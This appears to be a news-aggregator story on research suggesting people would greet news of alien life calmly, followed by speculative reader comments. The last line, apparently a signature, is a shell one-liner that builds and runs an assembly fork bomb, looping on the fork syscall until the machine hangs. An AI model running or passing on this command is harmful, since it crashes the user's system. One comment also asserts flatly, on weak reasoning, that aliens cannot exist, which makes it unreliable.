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Would You Fear Alien Life or Welcome It? (cnet.com)
If you've ever watched a science fiction movie about aliens, you'll know that humans tend to freak out and destroy everything when faced with incontrovertible proof of the existence of alien life. But a new analysis from Arizona State University psychology professor Michael Varnum and his colleagues suggests that humans might actually remain pretty calm and collected when that big news breaks. CNET reports: Varnum makes this conclusion based on an analysis of newspaper articles covering past potential discoveries of extraterrestrial life. Specifically, he and his colleagues looked at articles about the weird dimming of so-called "Tabby's Star," Earth-like planets around the star Trappist-1, and the potential discovery of Martian microbe fossils from 1996. They found language in the stories demonstrated much more positive emotion than fear or other negative emotions. In a second study, the team also surveyed over 500 people, asking them to guess how they and humanity would react to an announcement that alien microbial life had been discovered. In the case of both their own reaction and everyone else's, the participants hypothesized responses that were more positive than negative. The research was published last month in Frontiers in Psychology.
Also factor in intelligence. What if we find a planet with life but the most intelligent species are smart as our dogs? What if we found out their meat is delicious. Will we domesticate them for meat? How smart they do have to be for us to treat them as equals? By that measure will advanced aliens even consider us sentient?
Sorry but aliens were invented to convince dumb people to give smart scientists money. Let me explain. No life can exist without a sun, which is actually a star. The closest star to us is about 4 light years away. That means it takes light 4 years to travel that distance. Light travels extremely fast, 186,287 miles per second, and according to special relativity we can never go the speed of light because it requires infinite energy. So even if we could go a speed we can never go, it would take 4 years to get to the closest star. From there the distance goes up. Those stars you see in the sky are hundreds and thousands of light years away, which means at the fastest speed man has ever heard of, it would still take hundreds or thousands of years to reach. But imagine for a second there is some being that has the technology to travel that fast, why in the hell would they waste hundreds or thousands of years to visit us? Their technology compared to ours is like comparing humans to ants, there is nothing interesting about us at all compared to them. So aliens either don't exist or can't or won't visit us
my karma will be here long after I'm gone
Another possibility is that once we viruses sent in messages we receive by SETI.
If the message tells you how to do something, the odds are that thing will be to send messages as efficiently as possible because messages like that would be more common than ones that helpfully sent the Encyclopedia Galactica.
If I was writing Contact the machine the aliens sent the blueprint for would replicate to form a bunch of copies, disassembling the Earth/planets for materials in the process, and then surround the sun as a Dyson swarm and use all its energy output to send very powerful copies of the message to distant stars forever.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;